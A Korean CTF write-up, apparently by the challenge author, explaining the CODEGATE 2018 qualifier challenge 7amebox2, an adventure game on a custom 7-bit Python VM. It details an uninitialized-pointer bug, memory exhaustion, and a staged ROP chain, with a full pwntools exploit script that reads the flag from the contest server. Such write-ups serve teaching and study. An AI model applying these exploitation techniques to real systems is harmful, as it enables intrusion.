pwn3r_45

CODEGATE 2018 Qual - 7amebox2 본문

CTF

CODEGATE 2018 Qual - 7amebox2

pwn3r 2018.02.04 10:18

서론


 마지막 포스팅이 2017/01 이었으니 1년 만의 포스팅이네요. 2018년부로 졸업을 하게되어 원래 함께하던 팀 소속으로 대회참가가 어려워졌고, CODEGATE 2018 Final에 진출하더라도 개인 일정상 참가를 할 수 없게 됐습니다.


 마침 CODEGATE 2018에 문제를 출제할 기회를 갖게되어, 대회 참가 대신 대회 출제를 선택했습니다. 예선에 2개의 문제(7amebox1/2)를 출제했는데, 7amebox1은 13팀 / 7amebox2는 0팀의 풀이자가 나왔습니다. 7amebox2 문제의 경우 출제자 입장에서 문제가 풀리지 않은게 너무 아쉬워 풀이를 쓰기로 결정했습니다. (Exploit only가 아닌 포스팅은 4년만이네요 ㅋㅋ)


* python 으로 작성된 vm에 대한 분석은 생략하도록 하겠습니다.



요약


1) 콘솔 기반 어드벤쳐 게임. python으로 작성된 7bit VM 위에서 동작
2) 60 * 60의 맵을 wasd로 돌아다님.
3) 맵을 돌아다니면서 아이템(bytecode)을 주우며 파밍
4) 새로운 스테이지에 진입하거나, 죽어서 게임을 재시작 할 때마다 맵을 로드할 메모리를 allocate
5) 메모리의 최대 크기는 0x100000(2**20) 이고, allocation이 0x1000 단위로 이루어지기 때문에 최대 0x100(256)회 할당 가능
6) allocate system call은 bool allocate(byte **ptr, perm) 형태이며 *ptr = new_memory로 새로운 메모리를 돌려줌.
7) 할당에 실패하면 ptr은 uninitialized.
8) 죽기 & 게임 다시 시작을 반복하여 메모리를 최대 크기로 할당.
9) uninitialized ptr이 stack을 가리키도록 조작
10) 다시 죽고 게임을 다시 시작하면 stack에 맵을 로드
11) 주웠던 bytecode를 drop하여 stack에 있는 return address에 rop payload를 overwrite




Python based 7bit VM


$ ls -l
total 160
-rwxr-xr-x 1 pwn3r staff 31126 2 2 23:03 _7amebox.py
-rwxr-xr-x 1 pwn3r staff 27 2 3 09:09 flag
-rwxr-xr-x 1 pwn3r staff 4358 2 2 21:01 pwn_adventure.firm
-rwxr-xr-x 1 pwn3r staff 3600 2 2 20:35 stage_0.map
-rwxr-xr-x 1 pwn3r staff 3600 2 2 20:36 stage_1.map
-rwxr-xr-x 1 pwn3r staff 3600 2 2 20:36 stage_2.map
-rwxr-xr-x 1 pwn3r staff 3600 2 2 20:36 stage_3.map
-rwxr-xr-x 1 pwn3r staff 3600 2 2 20:36 stage_4.map
-rwxr-xr-x 1 pwn3r staff 3600 2 2 20:36 stage_5.map
-rwxr-xr-x 1 pwn3r staff 3600 2 2 20:36 stage_6.map
-rwxr-xr-x 1 pwn3r staff 3600 2 2 20:36 stage_7.map
-rwxr-xr-x 1 pwn3r staff 956 2 2 23:41 vm_adventure.py

7amebox1/2 문제는 1 byte = 7 bit, register = 3 byte (21bit)인 python기반 vm 위에서 돌아가는 펌웨어를 공격하는 문제입니다. DEFCON의 cLEMENCy와 유사한 면이 있지만 cLEMENCy를 따라하려고 낸 문제가 아니라, 제가 내고 싶은 문제들을 구현하는데 있어서 7bit VM이 적절할 것 같다고 생각되어 7bit VM을 구현하게 되었습니다. 31개의 opcode와 system call, 간단한 IO등이 구현되어있습니다. 


문제에서 주어진 파일들은 위와 같습니다. _7amebox.py는 7bit vm이 구현된 라이브러리이고 vm_adventure.pypwn_adventure.firm을 로드하여 7bit vm 위에서 실행시켜주는 스크립트입니다. stage_0.map ~ stage_1.map는 맵 정보가 저장된 파일입니다. 게임 중에 메모리에 로드하여 사용합니다.




문제 화면


$ python vm_adventure.py


====================================================
| PWN_ADVENTURE V8.5 |
====================================================
| __ |
| __|__|__ |
| ( ) |
| /|\ |
| / | \ |
| / \ |
----------------------------------------------------

1) start game
2) quit

>1
1) show current map
2) show my items
3) drop item
4) direction help
w a s d) move to direction
>
1
-------------------------------------------------
\x00 ~ \x60 = items
# (\x23) = wall

$ (\x24) = teleporter (upstair)
% (\x25) = teleporter (downstair)
@ (\x40) = you
a ~ y = monster
z = boss monster
-------------------------------------------------

##############################################################
#@  g #
# #
# ) m #
# N  #
#  d F #
# #
# ! T r t #
#- z #
# #
# c q 3 #
# x+ k #
# #
# e #
# Q x #
# z #
# e w #
# q #
# e #
# b   #
# #
# #
#  #
# #
# X #
# 5 Q #
# #
#    #
# v y #
# #
# H #
# 8 #
# #
# u #
# p #
# $  ( #
#  m #
# #
# S #
# d #
# z #
# 4 #
# Y #
# #
#  #
# G #
# a #
# #
# u #
# o #
#  #
#  #
#= _ fr #
# 8 #
# #
# #
# ; #
# #
# ? #
# 9 #
#  z#
##############################################################
1) show current map
2) show my items
3) drop item
4) direction help
w a s d) move to direction
>
w
1) show current map
2) show my items
3) drop item
4) direction help
w a s d) move to direction
>
d
you picked up the bytecode!
1) show current map
2) show my items
3) drop item
4) direction help
w a s d) move to direction
>
2
your bytecode inventory (0x00 ~ 0x60)
---------------------------------------------------------------------------------------------------
\x00 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ \x60
---------------------------------------------------------------------------------------------------
0000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000
1) show current map
2) show my items
3) drop item
4) direction help
w a s d) move to direction
>
4

direction
________________________________
| W : north |
| A : west D : east |
| S : south |
|________________________________|




문제 설명



Map

-------------------------------------------------
\x00 ~ \x60 = items
# (\x23) = wall
$ (\x24) = teleporter (upstair)
% (\x25) = teleporter (downstair)
@ (\x40) = you
a ~ y = monster
z = boss monster
-------------------------------------------------

##############################################################
#@  g #
# #
# ) m #
# N  #
#  d F #
# #
# ! T r t #
#- z #
# #
# c q 3 #
# x+ k #
# #
# e #
# Q x #
# z #
# e w #
# q #
# e #
# b   #
# #
# #
#  #
# #
# X #
# 5 Q #
# #
#    #
# v y #
# #
# H #
# 8 #
# #
# u #
# p #
# $  ( #
#  m #
# #
# S #
# d #
# z #
# 4 #
# Y #
# #
#  #
# G #
# a #
# #
# u #
# o #
#  #
#  #
#= _ fr #
# 8 #
# #
# #
# ; #
# #
# ? #
# 9 #
#  z#
##############################################################

show map 기능을 이용하면 맵을 눈으로 볼 수 있습니다. 새로운 stage에 진입하면 allocate system call 을 호출하여 메모리를 할당하고, stage_0.map ~ stage_7.map 중 stage에 해당하는 맵파일을 메모리에 읽어들입니다. 맵파일은 기본적으로 3600byte (60 * 60)이며 특수한 byte를 제외한 값들은 모두 공백(0x20)으로 채워져있습니다. 사용자의 입력을 받아 w(up) / a(left) / s(down) / d(right) 입력에 따른 방향으로 이동할 수 있습니다. 


-------------------------------------------------
\x00 ~ \x60 = items
# (\x23) = wall
$ (\x24) = teleporter (upstair)
% (\x25) = teleporter (downstair)
@ (\x40) = you
a ~ y = monster
z = boss monster
-------------------------------------------------

맵에는 공백 외에도 특이한 byte들이 나타나있는데, 맵위에 있는 설명에 나와있듯이 @는 현재 본인의 위치를 나타내고 $%는 다른 스테이지로 가기 위한 텔레포트, a~z는 몬스터, 그 외에 0x00 ~ 0x60에 해당하는 byte는 아이템으로 취급됩니다. #은 벽이지만 이는 맵 파일안에 정의되어있지 않고, 출력에만 나타나는 값입니다.




Items

##############################################################
#  g #
# #
# ) m #
# @N  #
#  d F #
# #
...............
...............

1) show current map
2) show my items
3) drop item
4) direction help
w a s d) move to direction
>d
you picked up the bytecode!
1) show current map
2) show my items
3) drop item
4) direction help
w a s d) move to direction
>2
your bytecode inventory (0x00 ~ 0x60)
---------------------------------------------------------------------------------------------------
\x00 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ \x60
---------------------------------------------------------------------------------------------------
0000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000000

w, a, s d 로 맵을 오가다보면 0x00 ~ 0x60 사이의 값들을 마주칠 수 있는데, 해당 값과 같은 좌표에 위치하면 "you picked up the bytecode!"라는 문자열이 나타나고, inventory에서 byte에 해당 하는 값의 개수가 증가한 것을 볼 수 있습니다. 문제풀이를 위해서는 맵을 돌아다니며 필요한 bytecode들을 파밍해야합니다. 


주웠던 bytecode는 drop item 기능을 이용하여 캐릭터가 위치한 좌표에 bytecode를 다시 떨어뜨릴 수 있습니다. 즉, 맵이 로드된 메모리위에 공격자가 파밍한 bytecode를 쓸 수 있습니다.


##############################################################
# @  g #
# #
# ) m #
..........................
..........................

1) show current map
2) show my items
3) drop item
4) direction help
w a s d) move to direction
>3
which one do you want drop?
>N


##############################################################
# N  g #
# #
# ) m #
..........................
..........................




Monster

##############################################################
#  g@ #
# #
..........................
..........................

1) show current map
2) show my items
3) drop item
4) direction help
w a s d) move to direction
>a
you met a monster
1) attack
2) attack
>1

##############################################################
#  f #
# #
..........................
..........................

맵에 a ~ z 범위의 byte는 몬스터입니다. 몬스터와 같은 좌표에 위치하면 몬스터로부터 1의 데미지를 받고, 몬스터에 대해 자신의 ad(공격력)에 해당하는 데미지를 입힙니다. 몬스터가 데미지를 받게 되면 몬스터의 ascii code 에서 공격자의 ad만큼을 sub 하게 됩니다. 예를 들어, 공격자의 ad가 5인 경우, b(0x62)를 공격하면 b(0x62) - 5 에 해당하는 ](0x5d) item으로 변하게 됩니다. 만약 몬스터가 g(0x67)였다면 5의 데미지를 입고 b(0x62) 몬스터로 변하게 됩니다. 위 화면은 ad가 1인상태로 몬스터 g(0x67)를 공격하여 f(0x66)으로 만든 화면입니다. (@는 보이지 않지만 아직 몬스터 f와 같은 좌표에 있습니다.몬스터를 잡을 경우 자신의 ad가 증가하기 때문에, 맵에서 원하는 bytecode가 부족할 때 몬스터를 사냥하여 원하는 bytecode를 보충할 수 있습니다.


위는 일반 몬스터(a~y)를 만났을 때 벌어지는 상황이고, 아래와 같이 보스 몬스터인 z를 만나면 attack이란 선택지 없이 무조건 죽게됩니다. 게임에서 죽어야 할때 z를 만나면 빠르게 죽을 수 있습니다.


you met a boss monster 'z'!
1) die
2) die
>1
====================================================
| YOU WERE DEAD! |
====================================================
| HP : 0 |
| |
| |
| |
| __ |
| __|__|__ |
----------------------------------------------------

1) start game
2) quit




Vulnerability


취약점은 맵을 메모리에 로드하기 위해 메모리를 할당할 때 발생합니다. pwn_adventure에는 8개의 맵(stage_0.map ~ stage_7.map)이 존재하는데, game을 시작하고서 아직 진입하지 않은 stage로 이동할 때 allocate system call을 호출하여 메모리를 할당하고 stage에 해당하는 map파일을 읽어옵니다. 이를 pseudo code로 표현하면 아래와 같습니다.


byte *res_ptr;
if(maps[stage] == 0){
sys_allocate(&res_ptr, PERM_READ | PERM_WRITE)
fd = sys_open("stage_{}.map".format(stage));
sys_read(fd, res, 3600);
}


// r10 register가 전역변수 영역의 주소를 가리키고 있는데, stage와 maps 포인터배열은 전역변수 영역에 저장되어있습니다.

전역변수 영역


(+0) : int stage
(+3) : int hp
(+6) : int ad
(+9) : int x
(+12) : int y
(+15) : byte *maps[8]
(+39) : byte items[0x61]


pseudo code를 보면 sys_allocate를 불러 메모리 할당을 요청하는데, 할당에 실패했을 때에 대한 처리 루틴이 없는 것을 볼 수 있습니다. 그럼 sys_allocate의 코드가 실패했을 때 어떤 현상이 발생하는지 확인하겠습니다.

def sys_allocate(self):
res_ptr = self.register.get_register('r1')
perm = self.register.get_register('r2')

addr = self.memory.allocate(perm)
if addr != -1:
self.write_memory_tri(res_ptr, [addr], 1)
self.register.set_register('r0', 1)
else:
self.register.set_register('r0', 0)

 

sys_allocate는 이중포인터를 인자로 받아, 새로 할당한 메모리의 주소를 이중포인터에 write 해줍니다. 

즉, bool allocate(byte **res_ptr, perm) 형태이며 *res_ptr = new_memory; 같은 동작으로 할당한 메모리를 돌려주는 식입니다.


만약 할당에 실패했을 경우, res_ptr에 아무런 값도 write 않고 r0 register만 0으로 설정해주기 때문에, res_ptr은 uninitialized variable이 됩니다. uninitialized variable 문제를 피하기 위해서 펌웨어가 sys_allocate 호출 후 r0 register를 검증했어야 하지만 그렇지 않기 때문에, 할당에 실패하면 맵을 공격자가 원하는 곳에 위치시킬 수 있습니다.


self.memory     = Memory(2 ** 20)


메모리의 최대 크기가 0x100000(2 ** 20)이고, 메모리 할당은 0x1000 단위로 할당되기 때문에 최대 0x100(256)번 메모리 할당이 이루어지면 메모리가 가득차 더이상 할당 할 수 없게 됩니다.


캐릭터가 죽을 경우, 전역변수에 저장되어있던 byte *maps[8] 포인터배열이 초기화 되기 때문에 죽고 게임을 다시 시작하는 것을 반복하면 메모리를 최대 크기만큼 할당할 수 있습니다. 메모리가 가득찬 경우 sys_allocate system call이 실패하여 res_ptr은 uninitialized variable이 되며, res_ptr 자리에 남아있던 쓰레기 값이 가리키는 주소에 맵을 읽어오게 됩니다.


마침 res_ptr이 위치한 자리가 다른 함수에서 사용자의 입력을 받는 버퍼로서 쓰이기 때문에, 사용자의 입력으로 원하는 주소에 맵을 위치시킬 수 있습니다. 맵을 stack에 위치시킨 후, 파밍한 bytecode들을 drop하면 stack에 원하는 payload를 써넣을 수 있으며 return address를 덮어 pc register를 control 할 수 있습니다.








Exploit


Exploit 과정을 요약하면 아래와 같습니다. 

1) Construct rop payload (stage0)
2) Farming the bytecodes & die
3) Die * 249
4) Die * 1 (control uninitialized pointer)
5) Drop the bytecodes
6) Die * 1 and quit game (pc control)

7) Send new rop payload (stage1)



1) Construct rop payload (stage0)


먼저 맵을 stack에 할당하여 return address를 조작했을 때, stack에 어떠한 payload를 써넣을지 구성해야 합니다. payload에 맞게 bytecode를 파밍해야하기 때문입니다. payload가 길어질수록 필요한 bytecode가 많아지므로 가능한 짧게 payload를 구성합니다.


'''
1815 pop r1
1817 pop r0
1819 pop pc

279 call pc _do_read


0xf5fd7 : ;
0xf5fda : 1815 ; main()'s return address

; pop r1; pop r0; pop pc

0xf5fdd : #0x1034 ; r1

0xf5fe0 : 0xf5fd7 ; r0

0xf5fe3 : 1507 ; call pc _do_read


>>> p21(1815)
'\x17\x00\x0e'
>>> p21(0x1034)
'4\x00 '
>>> p21(0xf5fd1)
'Q=?'
>>> p21(279)
'\x17\x00\x02'
'''

을 main함수의 return address 가 있는 0xf5fda(stack)에 할당시킨다는 전제로 짧은 payload (stage0)를 구성했습니다. pop r1; pop r0으로 인자를 구성하고, call _do_read 함수를 호출합니다. 결과적으로 _do_read(0xf5fd7, 0x1034) 호출하여 0xf5fd7에 0x1034 byte 만큼 입력을 받게 되는데, 0xf5fd7이 _do_read함수의 return address(0xf5fe3)보다 낮은 주소에 있으므로 새로 입력받은 payload (stage1)로 _do_read함수의 return address를 덮어 rop payload를 이어갈 수 있게 됩니다. 짧은 payload (stage0)를 통해 새로운 payload(stage1)를 읽어들여 실행하는 방법입니다.





2) Farming the bytecodes


payload 를 구성했으면, payload에 필요한 bytecode를 파밍을 해두어야 합니다. stage0 payload의 bytecode는 '\x17\x00\x0e4\x00 Q=?\x17\x00\x02'이므로 필요한 바이트는 아래와 같습니다. (' '는 기본적으로 맵에 있으므로 생략합니다.)


'\x00' * 3, '\x02', '\x0e', '4', 'Q', '=', '?', '\x17' * 2


주어진 map 파일을 통해 필요한 bytecode들의 위치를 파악한 뒤, bytecode들을 주우러 돌아다니도록 코드를 작성합니다. 맵을 여러개 돌아다니면 복잡해지므로 stage_0.map 안에서 필요한 bytecode를 모두 주웠습니다.

###########################################
# farming
s.recvuntil('>')
s.sendline('1')
# \x17
for i in range(0, 1):
s.recvuntil('>')
s.sendline('w' )
for i in range(0, 1):
s.recvuntil('>')
s.sendline('d' )
# cur 1,59

# ?
for i in range(0, 2):
s.recvuntil('>')
s.sendline('w' )
for i in range(0, 9):
s.recvuntil('>')
s.sendline('d' )
# cur


# =
for i in range(0, 10):
s.recvuntil('>')
s.sendline('a' )
for i in range(0, 6):
s.recvuntil('>')
s.sendline('w' )
# cur 9, 11

# 4
for i in range(0, 11):
s.recvuntil('>')
s.sendline('w' )
for i in range(0, 11):
s.recvuntil('>')
s.sendline('d' )

# \x00
for i in range(0, 26):
s.recvuntil('>')
s.sendline('a' )
for i in range(0, 3):
s.recvuntil('>')
s.sendline('s' )

# \x0e
for i in range(0, 1):
s.recvuntil('>')
s.sendline('a' )
for i in range(0, 17):
s.recvuntil('>')
s.sendline('w' )

# Q
for i in range(0, 2):
s.recvuntil('>')
s.sendline('w' )
for i in range(0, 10):
s.recvuntil('>')
s.sendline('d' )


# \x17
for i in range(0, 3):
s.recvuntil('>')
s.sendline('w' )
for i in range(0, 27):
s.recvuntil('>')
s.sendline('d' )

# \x00
for i in range(0, 10):
s.recvuntil('>')
s.sendline('w' )
for i in range(0, 12):
s.recvuntil('>')
s.sendline('a' )

# \x02
for i in range(0, 8):
s.recvuntil('>')
s.sendline('w' )
for i in range(9, 36):
s.recvuntil('>')
s.sendline('d' )

# \x00
for i in range(0, 10):
s.recvuntil('>')
s.sendline('w' )
for i in range(0, 1):
s.recvuntil('>')
s.sendline('a' )

# die
for i in range(0, 24):
s.recvuntil('>')
s.sendline('d' )
for i in range(0, 6):
s.recvuntil('>')
s.sendline('s' )
s.sendline('1')
###########################################




3) Die * 249


메모리를 최대 크기까지 할당하기 위해 공격자는 계속 죽고, 게임을 다시 시작하기를 반복해야합니다. 공격자의 캐릭터가 죽을 수 있는 방법은 2가지 입니다. 1. hp (120)가 0이 될때까지 일반 몬스터에게 1의 데미지를 입는 방법, 2. 보스 몬스터인 z에게 한 번에 죽는 방법이 있습니다. exploit 과정의 간결화를 위해 후자를 택합니다. 애초에 맵을 제작할 때, 공격자가 최대한 빠르게 죽을 수 있도록 시작지점 up * 1, left * 1 위치에 z를 배치해뒀습니다.


##############################################################
#@  g #
# #
# ) m #
# N  #
....................
....................
# #
# ? #
# 9 #
#  z#
##############################################################


게임이 시작되기 전에 code 영역이 0x2000, stack이 0x2000, 전역변수 공간이 0x1000, 파밍할 때 로드한 맵 0x1000으로 총 0x6000이 할당되어있기 때문에 250번만 게임을 재시작하면 메모리를 최대치만큼 할당할 수 있습니다. 마지막 할당때에는 uninitialized variable을 조작하기 위해 249번 재시작하여 메모리에 0x1000의 여유를 남겨둡니다.


for i in range(6, 255):
s.recvuntil('>')
s.sendline('1') # start game
s.recvuntil('>')
s.sendline('w') # up
s.recvuntil('>')
s.sendline('a') # left
s.recvuntil('>')
s.sendline('1') # die? yes




4) Die * 1 (control uninitialized pointer)



이전 단계에서 메모리를 가득채워 현재 메모리는 1회(0x1000) 할당 여유분만 남아있습니다. 또 한 번 게임을 재시작하면 메모리는 전부 할당된 상태가 됩니다. 그리고 위와 마찬가지로 z를 만나 죽어야하는데, 이때 공격자의 입력이 uninitialized variable과 같은 위치에 위치해있기 때문에 uninitialized variable을 컨트롤 할 수 있습니다. uninitialized variable을 stack에 있는 main함수의 return address 주소로 overwrite해주며 죽어줍니다.

s.recvuntil('>')
s.sendline('1') # start game
s.recvuntil('>')
s.sendline('w') # up
s.recvuntil('>')
s.sendline('a') # left
s.recvuntil('>')
s.sendline(p21(stack)) # die? yes (control uninitialized variable)




5) Drop the bytecodes



총 250회의 게임 재시작을 통해 메모리를 최대치만큼 할당했습니다. 다시 게임을 시작하면 sys_allocate에 실패하여 res_ptr은 uninitialized varable이 되고, 마지막에 덮어썼던 main함수의 return address를 새로운 메모리로 인식하여 맵을 로드해주게 됩니다. 이제 맵의 (0, 0) 좌표부터 main함수의 return address입니다. stage0 rop payload의 각 byte를 return address에 써줘야하므로 오른쪽으로 한 칸씩 이동하면서 drop item 기능을 이용하여 bytecode를 drop해줍니다.

s.recvuntil('>')            #
s.sendline('1') # start game (map allocated to 0xf5fda)

p3p2p1p0 = 1727
p1p0 = 1731
p0 = 1817
syscall = 1757
puts = 1797

stage0 = ''
stage0 += p21(1815)
stage0 += p21(0x1034)
stage0 += p21(0xf5fd1)
stage0 += p21(279)

# drop items
for ch in stage0:
s.recvuntil('>')
s.sendline('3') # drop item
s.recvuntil('>')
s.sendline(ch)
s.recvuntil('>')
s.sendline('d') # right

MAP (0xf5fda)
_________________________________________________________________________________________________________
|
\x17 | \x00 | \x0e | 4 | \x00 | | Q | = | ? | \x17 | \x00 | \x02 | @ | | ... |
---------------------------------------------------------------------------------------------------------
| | | | | | | | | | | | | | | ... |
---------------------------------------------------------------------------------------------------------
| | | | | | | | | | | | | | | ... |
---------------------------------------------------------------------------------------------------------

##############################################################
#\x17\x00\x0e4\x00 Q=?\x17\x00@ g #
# #
# ) m #
# N #



6) Quit game (pc control)


bytecode를 drop하여 return address 자리에 stage0 rop payload를 overwrite 했습니다. 이제 pc register control을 위해 z 에게 죽은 뒤, game을 재시작하지 않고 quit하게 되면 main함수를 종료하기 위해 pop pc 명령을 실행되어 stage0 payload가 실행됩니다.


s.recvuntil('>')
s.sendline('w')

for i in range(0, 13):
s.recvuntil('>')
s.sendline('a')

s.recvuntil('>')
s.sendline('1') # die? yes

s.recvuntil('>')
s.sendline('2') # quit game (pc control)



7) Send new rop payload (stage1)


stage0 rop payload가 정상적으로 실행되어 do_read함수를 불러 공격자에게서 새로운 payload를 입력받길 기다리고 있습니다. 이제는 제약 없이 긴 payload를 보낼 수 있기 때문에, open(flag) -> read() -> puts()를 수행하는 stage1 rop payload를 생성하여 보내줍니다. 



stage1 = ''
stage1 += 'flag\x00\x00'
stage1 += p21(0)

stage1 += p21(0)
stage1 += p21(0)
stage1 += p21(0)

stage1 += p21(p1p0)
stage1 += p21(stack - 9) # 'flag\x00\x00'
stage1 += p21(1) # open
stage1 += p21(syscall)

stage1 += p21(60)
stage1 += p21(stack + 60)
stage1 += p21(255)

stage1 += p21(p0)
stage1 += p21(3) # read(255, stack+60, 60)
stage1 += p21(syscall)

stage1 += p21(0)
stage1 += p21(0)
stage1 += p21(0)

stage1 += p21(p0)
stage1 += p21(stack + 60)

stage1 += p21(puts) # puts(stack+60)

assert '\n' not in stage1

s.sendline(stage1)
s.interactive()





Full exploit

#!/usr/bin/python

import string
import hashlib
import itertools
from pwn import *

# proof of work
# https://github.com/smokeleeteveryday/CTF_WRITEUPS/tree/master/2016/PCTF/crypto/rabit
def proof_of_work(prefix, plen, endv):
charset = string.letters + string.digits

# Bruteforce bounds
lower_bound = plen - len(prefix)
upper_bound = plen - len(prefix)

# Find proof-of-work candidate
for p in itertools.chain.from_iterable((''.join(l) for l in itertools.product(charset, repeat=i)) for i in range(lower_bound, upper_bound + 1)):
# Should be sufficient charset
candidate = prefix + p
assert (len(candidate) == plen)

if ((candidate[:len(prefix)] == prefix) and (hashlib.sha1(candidate).hexdigest()[-6:] == endv)):
return candidate

raise Exception("[-] Could not complete proof-of-work...")
return


'''
1815 pop r1
1817 pop r0
1819 pop pc

279 call pc _do_read

0xf5fd7 : ;
0xf5fda : 1815 ; main()'s return address
; pop r1; pop r0; pop pc
0xf5fdd : #0x1034 ; r1
0xf5fe0 : 0xf5fd7 ; r0
0xf5fe3 : 1507 ; call pc _do_read

>>> p21(1815)
'\x17\x00\x0e'
>>> p21(0x1034)
'4\x00 '
>>> p21(0xf5fd1)
'Q=?'
>>> p21(279)
'\x17\x00\x02'

'\x00' * 3
'\x02'
'\x0e'
'4'
'Q'
'='
'?'
'\x17' * 2


1727 pop r3
1729 pop r2
1731 pop r1
1733 pop r0
1735 pop pc

1757 syscall r0 r0
1759 pop r3
1761 pop r2
1763 pop r1
1765 pop pc

1817 pop r0
1819 pop pc

1797 push r0
1799 push r1
1801 mov r1 r0
1803 call pc _strlen
1808 xchg r0 r1
1810 call pc _do_write
1815 pop r1
1817 pop r0
1819 pop pc
'''

def p21(value):
res = ''
res += chr((value & 0b000000000000001111111))
res += chr((value & 0b111111100000000000000) >> 14)
res += chr((value & 0b000000011111110000000) >> 7)
return res

stack = 0xf5fda

HOST ='52.78.191.6'
PORT = 8888

s = remote(HOST, PORT)
# proof of work
print 'proof of work'
s.recvuntil('prefix : ')
prefix = s.recvline().strip()
found = proof_of_work(prefix, 30, '000000')
s.sendline(found)
print 'done'


###########################################
# farming
s.recvuntil('>')
s.sendline('1')
# \x17
for i in range(0, 1):
s.recvuntil('>')
s.sendline('w' )
for i in range(0, 1):
s.recvuntil('>')
s.sendline('d' )
# cur 1,59

# ?
for i in range(0, 2):
s.recvuntil('>')
s.sendline('w' )
for i in range(0, 9):
s.recvuntil('>')
s.sendline('d' )
# cur


# =
for i in range(0, 10):
s.recvuntil('>')
s.sendline('a' )
for i in range(0, 6):
s.recvuntil('>')
s.sendline('w' )
# cur 9, 11

# 4
for i in range(0, 11):
s.recvuntil('>')
s.sendline('w' )
for i in range(0, 11):
s.recvuntil('>')
s.sendline('d' )

# \x00
for i in range(0, 26):
s.recvuntil('>')
s.sendline('a' )
for i in range(0, 3):
s.recvuntil('>')
s.sendline('s' )

# \x0e
for i in range(0, 1):
s.recvuntil('>')
s.sendline('a' )
for i in range(0, 17):
s.recvuntil('>')
s.sendline('w' )

# Q
for i in range(0, 2):
s.recvuntil('>')
s.sendline('w' )
for i in range(0, 10):
s.recvuntil('>')
s.sendline('d' )


# \x17
for i in range(0, 3):
s.recvuntil('>')
s.sendline('w' )
for i in range(0, 27):
s.recvuntil('>')
s.sendline('d' )

# \x00
for i in range(0, 10):
s.recvuntil('>')
s.sendline('w' )
for i in range(0, 12):
s.recvuntil('>')
s.sendline('a' )

# \x02
for i in range(0, 8):
s.recvuntil('>')
s.sendline('w' )
for i in range(9, 36):
s.recvuntil('>')
s.sendline('d' )

# \x00
for i in range(0, 10):
s.recvuntil('>')
s.sendline('w' )
for i in range(0, 1):
s.recvuntil('>')
s.sendline('a' )

# die
for i in range(0, 24):
s.recvuntil('>')
s.sendline('d' )
for i in range(0, 6):
s.recvuntil('>')
s.sendline('s' )
s.sendline('1')
###########################################

for i in range(6, 255):
s.recvuntil('>')
s.sendline('1') # start game
s.recvuntil('>')
s.sendline('w') # up
s.recvuntil('>')
s.sendline('a') # left
s.recvuntil('>')
s.sendline('1') # die? yes

s.recvuntil('>')
s.sendline('1') # start game
s.recvuntil('>')
s.sendline('w') # up
s.recvuntil('>')
s.sendline('a') # left
s.recvuntil('>')
s.sendline(p21(stack)) # die? yes (control uninitialized variable)

s.recvuntil('>') #
s.sendline('1') # start game (map allocated to 0xf5fda)

p3p2p1p0 = 1727
p1p0 = 1731
p0 = 1817
syscall = 1757
puts = 1797

stage0 = ''
stage0 += p21(1815)
stage0 += p21(0x1034)
stage0 += p21(0xf5fd1)
stage0 += p21(279)

# drop items
for ch in stage0:
s.recvuntil('>')
s.sendline('3') # drop item
s.recvuntil('>')
s.sendline(ch)
s.recvuntil('>')
s.sendline('d') # right

s.recvuntil('>')
s.sendline('w')

for i in range(0, 13):
s.recvuntil('>')
s.sendline('a')

s.recvuntil('>')
s.sendline('1') # die? yes

s.recvuntil('>')
s.sendline('2') # quit game (pc control)

stage1 = ''
stage1 += 'flag\x00\x00'
stage1 += p21(0)

stage1 += p21(0)
stage1 += p21(0)
stage1 += p21(0)

stage1 += p21(p1p0)
stage1 += p21(stack - 9) # 'flag\x00\x00'
stage1 += p21(1) # open
stage1 += p21(syscall)

stage1 += p21(60)
stage1 += p21(stack + 60)
stage1 += p21(254)

stage1 += p21(p0)
stage1 += p21(3) # read(254, stack+60, 60)
stage1 += p21(syscall)

stage1 += p21(0)
stage1 += p21(0)
stage1 += p21(0)

stage1 += p21(p0)
stage1 += p21(stack + 60)

stage1 += p21(puts) # puts(stack+60)

assert '\n' not in stage1

s.sendline(stage1)
s.interactive()


exploit을 실행하면 아래와 같이 Flag를 얻을 수 있습니다.

$ python ex2.py
[+] Opening connection to 52.78.191.6 on port 8888: Done
proof of work
done
[*] Switching to interactive mode
you met a boss monster 'z'!
1) die
2) die
>====================================================
| YOU WERE DEAD! |
====================================================
| HP : 0 |
| |
| |
| |
| __ |
| __|__|__ |
----------------------------------------------------

1) start game
2) quit
>CTF{pick_up_the_bytecode}
) m N \x04 d F ! T r t -\x1f z c q 3 x+ k [VM] Invalid syscall
[VM] Unknown error
[*] Got EOF while reading in interactive
$


P.S


7amebox 시리즈는 본선에도 출제될 예정입니다. 본선에선 좀더 깔끔하게 코딩된 펌웨어와 스크립트로 찾아 뵙겠습니다.

'CTF' 카테고리의 다른 글

WhiteHat GrandPrix 2018 QUAL - web03  (0) 2018.08.19
CODEBLUE 2018 QUAL - game revenge (Exploit only)  (0) 2018.08.03
CODEGATE 2018 Qual - 7amebox2  (1) 2018.02.04
SECCON CTF QUAL 2016 - jmper  (1) 2017.01.02
SECCON CTF QUAL 2016 - checker  (0) 2017.01.02
CODEGATE CTF 2014 QUAL - weird_snus  (0) 2014.04.20
1 Comments
댓글쓰기 폼